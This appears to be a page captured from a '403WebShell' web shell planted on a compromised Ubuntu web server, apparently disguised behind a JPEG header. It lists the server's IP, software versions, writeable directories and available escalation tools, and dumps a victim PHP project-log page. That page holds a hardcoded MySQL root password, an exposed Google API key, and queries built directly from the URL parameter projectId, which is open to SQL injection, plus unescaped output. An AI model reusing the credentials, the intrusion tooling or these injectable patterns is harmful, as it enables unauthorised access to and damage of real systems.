????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 13.58.147.98
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/productionzon/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/productionzon/logg.php
<?php
	session_start();
	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("vpa");
	
	$ProjectId = $_GET['projectId'];
	
	
	
	
	
    $sql = "SELECT * FROM Project, ProjectStatus WHERE Project.ProjectStatusId = ProjectStatus.ProjectStatusId and ProjectId = $ProjectId";
    $result = mysql_query($sql);
	 
	  
	  while ($row = mysql_fetch_assoc($result)){ 
	  	$CompanyId =  $row['CompanyId'];
		$ProjectName =  $row['Name'];
		$Description =  $row['Description'];
		$RequestedDeliveryDate =  $row['RequestedDeliveryDate'];
		$ProjectStatusId = $row['ProjectStatusId'];
	  }
	  
	   
	 
	 if($ProjectStatusId == 1 || $ProjectStatusId == 2 || $ProjectStatusId == 3 ){
	 	$status = "process1.jpg";
	 }else if($ProjectStatusId == 4){
	 	$status = "process2.jpg";
	 }else if($ProjectStatusId == 5){
	 	$status = "process3.jpg";
	 }else if($ProjectStatusId == 6){
	 	$status = "process6.jpg";
	 }else if($ProjectStatusId == 7){
	 	$status = "process7.jpg";
	 }else if($ProjectStatusId == 8 || $ProjectStatusId == 9 || $ProjectStatusId == 10){
	 	$status = "process8.jpg";
	 }else if($ProjectStatusId == 11){
	 	$status = "process10.jpg";
	 } else if($ProjectStatusId == 12){
	 	$status = "process9.jpg";
	 }
	 
	 // Reste Yellow color
	 $sql = "SELECT * FROM ProjectLog where ProjectId = $ProjectId order by LogDate DESC LIMIT 1";
	 $result = mysql_query($sql);
	 
	
	  
	  while ($row = mysql_fetch_assoc($result)){ 
	  	 if( $row['SystemUserId'] != $_SESSION['ASTACUS_SSO_INFO'][0] ){
		 mysql_query("DELETE FROM ICADNewMessage WHERE ProjectId = $ProjectId");
		 }
		
	  }
	 
	 
	 
	 $SystemUserId = $_SESSION['ASTACUS_SSO_INFO'][0];
	 
	 		 $sql = "SELECT * FROM ProjectLog, SystemUser WHERE ProjectId =$ProjectId and ProjectLog.SystemUserId = SystemUser.SystemUserId and not ProjectLog.SystemUserId = ". $SystemUserId ." order by LogDate desc Limit 1";
	
				$result = mysql_query($sql);
	 			 while ($row = mysql_fetch_assoc($result)){ 
				 	
					$ICADLanguageID = $row['ICADLanguageID'];
				 
				 }
				 
				
				 
				 if($ICADLanguageID == 2){
						$lang = "en"; 
				  }else if($ICADLanguageID == 3){
						$lang = "de";  
				  }else{
						$lang = "sv";  
				   }
				 
				 

?>
<link href="../main.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; }
-->
</style>

 
    <script type="text/javascript">
<!--

function send_logg(){
	var v = document.getElementById('sourceText').value;
	v = v.replace(/'/g, '\'\'');
	document.getElementById('sourceText').value = v;
return true;
}


      function translateText(response) {
        document.getElementById("translation").innerHTML = response.data.translations[0].translatedText;
      }
    </script>
    
        <script>
		  function translate(){
      var newScript = document.createElement('script');
      newScript.type = 'text/javascript';
      var sourceText = escape(document.getElementById("sourceText").value);
      // WARNING: be aware that YOUR-API-KEY inside html is viewable by all your users.
      // Restrict your key to designated domains or use a proxy to hide your key
      // to avoid misuage by other party.
      var source = 'https://www.googleapis.com/language/translate/v2?key=AIzaSyBruyePcdujhK_nWptOjJoY4BOcgY8tgFs&source=en&target=sv&callback=translateText&q=' + sourceText;
      newScript.src = source;

      // When we add this script to the head, the request is sent off.
      document.getElementsByTagName('head')[0].appendChild(newScript);
	 }
    

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}
//-->
</script>
	
<table width="850" height="64" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td valign="top" background="../images/tabb4.jpg"><table width="850" height="23" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td width="8" height="23">&nbsp;</td>
        <td width="108" valign="bottom" class="blacklink"><div align="center"><a href="?page=project&projectId=<?php echo($ProjectId);?>" class="blacklink">Project status</a></div></td>
        <td width="22" valign="bottom" class="blacklink"><div align="center"></div></td>
        <td width="100" valign="bottom" class="blacklink"><div align="center"><a href="?page=upload&projectId=<?php echo($ProjectId);?>" class="blacklink">Upload files</a></div></td>
        <td width="24" valign="bottom" class="blacklink"><div align="center"></div></td>
        <td width="105" valign="bottom" class="blacklink"><div align="center"><a href="?page=download&projectId=<?php echo($ProjectId);?>" class="blacklink">Download files</a></div></td>
        <td width="21" class="blacklink">&nbsp;</td>
        <td width="104" valign="bottom" class="blacklink"><div align="center"><a href="?page=logg&projectId=<?php echo($ProjectId);?>" class="blacklink">Project log</a></div></td>
        <td width="358" class="blacklink">&nbsp;</td>
      </tr>
    </table></td>
  </tr>
</table>
<table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="90">&nbsp;</td>
    <td width="820"><table width="820" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td colspan="5" valign="top">          <table width="821" border="0" cellpadding="0" cellspacing="0">
          <tr >
            <td colspan="4" valign="top" class="text"><span class="heading1">Project log </span>
                <table width="397" border="0" cellpadding="0" cellspacing="0">
                  <tr valign="top">
                    <td width="398"><span class="heading2">Project: <?php echo($CompanyId);?>_<?php echo($ProjectName);?> (<?php echo($ProjectId);?>)</span> <br>
                    </td>
                    <td width="57"><div align="right"><span class="textthin"><br>
                    </span> </div></td>
                  </tr>
              </table></td>
            <td width="357" valign="top" class="textthin"><div align="right"><span class="heading1"><a href="index.php"><img src="../images/Back-Arrow.jpg" alt="pic" width="37" height="36" border="0" align="absmiddle" /></a> <a href="index.php" class="blacklinkhuge">Back to search</a></span></div></td>
          </tr>
        </table>
          <hr width="820" size="1">
          <span class="heading2"><br>
          </span>
          <table width="820" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td width="455" height="677" valign="top">                  <span class="heading2"> Project log:<br>
                  </span><span class="heading2"><span class="style6">
                  <?php 
					
					
					
				$CompanyId = $_SESSION['ASTACUS_SSO_INFO'][4];
	 			 $sql = "SELECT * FROM ProjectLog, SystemUser WHERE ProjectId =$ProjectId and ProjectLog.SystemUserId = SystemUser.SystemUserId order by LogDate desc";
	
				$result = mysql_query($sql);
	 			 while ($row = mysql_fetch_assoc($result)){ 
	  
	 
	  ?>
  </span></span>
                  <table width="455" border="0" cellspacing="0" cellpadding="0">
                    <tr>
                      <td width="226" bgcolor="#eeeeee"><span class="text">Written by : </span> <span class="textthin"><?php echo($row['Name']);?> (<?php echo($row['Username']);?>) </span></td>
                      <td width="229" bgcolor="#eeeeee" ><div align="right"><span class="text">Date:  </span> <span class="textthin"><?php echo($row['LogDate']);?></span></div></td>
                    </tr>
                    <tr>
                      <td colspan="2" class="textthin"><?php echo($row['Message']);?></td>
                    </tr>
                  </table>
                  <span class="heading2"><span class="style6">                </span> </span>
                  <span class="style6">
                  <br>
                  <br>
                  <?php } ?>
                  </span>
  <p><span class="heading2"><br>
                      </span><span class="heading2"><br>
                                            </span><span class="heading2">
                                                            </span></p>
                  <p><span class="heading2">                    <br>
                </span><span class="heading2">                </span> </p></td><td width="17">&nbsp;</td>
              <td width="348" valign="top"><table width="340" border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <td><form name="form1" method="post" action="addlogg.php?ProjectId=<?php echo($ProjectId);?>&type=logg" onsubmit="return send_logg();">
                    <table width="338" height="300" border="0" cellpadding="0" cellspacing="0">
                      <tr>
                        <td height="300" background="../images/platta3.jpg"><table width="306" border="0" align="center" cellpadding="0" cellspacing="0">
                            <tr>
                              <td><div align="left"><span class="text"><span class="heading2"><img src="../images/dictionary.gif" width="20" height="20" align="absmiddle"> <a href="#" class="blacklink" onClick="MM_openBrWindow('dictionary.php','Ordbok','scrollbars=yes,resizable=yes,width=300,height=400')">Dictionary</a><br>
                              </span></span><span class="heading2"> </span></div></td>
                            </tr>
                            <tr>
                              <td><div align="right"><span class="text"><span class="heading2">Send new message : </span><br>
              Write in english: </span><span class="heading2"><br>
              <textarea name="sourceText" cols="45" rows="5" class="style6" id="sourceText"></textarea>
              <span class="text"> 
              <input name="Submit2" type="button" class="text" value="Translate" onclick="translate();" />
              Swedish translation:</span><br>
              <textarea name="translation" cols="45" rows="5" class="style6" id="translation" readonly></textarea>
              <input name="sendtoastacus" type="checkbox" id="sendtoastacus" value="checked">
              <label for="checkbox">Send only to Astacus</label>
              <input name="Submit" type="submit" class="text" value="Send">
          </span></div></td>
                            </tr>
                        </table></td>
                      </tr>
                    </table>
                    </form>                    <span class="heading2"><br>
</span></td>
                </tr>
                <tr>
                  <td><div align="right">
                    <!--
Skype 'My status' button
http://www.skype.com/go/skypebuttons
-->
                    <!--
Skype 'My status' button
http://www.skype.com/go/skypebuttons
-->
                    <table width="342" height="188" border="0" cellpadding="0" cellspacing="0">
                      <tr>
                        <td width="342" valign="top" background="../images/platta2.jpg"><br>
                            <table width="300" border="0" align="center" cellpadding="0" cellspacing="0">
                              <tr>
                                <td><span class="heading2">Your contacts: </span><br>
                                    <table width="300" border="0" cellspacing="0" cellpadding="0">
                                      <?php
							     $sql = "SELECT Name, SkypeId, Phone, Email, UserGroup.UserGroupId as UserGroupId
										FROM ProjectSystemUserJoin, UserGroup, SystemUser
										WHERE UserGroup.UserGroupId = ProjectSystemUserJoin.UserGroupId
										AND SystemUser.SystemUserId = ProjectSystemUserJoin.SystemUserId
										AND `ProjectId` = $ProjectId
										AND (
										UserGroup.UserGroupId =6
										OR UserGroup.UserGroupId =5
										OR UserGroup.UserGroupId =4
										)";
									$result = mysql_query($sql);
								  
								  while ($row = mysql_fetch_assoc($result)){ 
									
									$UserGroupdId = $row['UserGroupId']; 
									
									
									$Name =  $row['Name'];
									
									if($UserGroupdId  == 6){
										$Name = $Name .", Astacus Indien";
									}else if($UserGroupdId == 5){
										$Name = $Name .", Astacus Sverige";
									}
									
									$SkypeId =  $row['SkypeId'];
									$Phone =  $row['Phone'];
									$Email = $row['Email'];
								  
								  if($SkypeId == ""){
								  	$SkypeId  = "AstacusDemoAccount";
								  }
	  							?>
                                      <tr class="textthin">
                                        <td width="35"><a href="skype:<?php echo($SkypeId);?>?call"><img src="http://mystatus.skype.com/smallicon/<?php echo($SkypeId);?>" alt="Skype?" width="16" height="16" border="0" style="border: none;" /></a></td>
                                        <td width="265"><div align="left"><?php echo($Name);?></div></td>
                                      </tr>
                                      <?php }?>
                                  </table></td>
                              </tr>
                          </table></td>
                      </tr>
                    </table>
                    <br>
                    <!--
Skype 'My status' button
http://www.skype.com/go/skypebuttons
-->
                    <br>
                    <span class="heading2">                  </span></div></td>
                </tr>
              </table></td>
            </tr>
          </table>
          <span class="style6"><br>
          </span>
          <hr width="820" size="1">
          <span class="style6">                    </span></td>
        </tr>
    </table>      
    </td>
    <td width="90">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="3">&nbsp;    </td>
  </tr>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit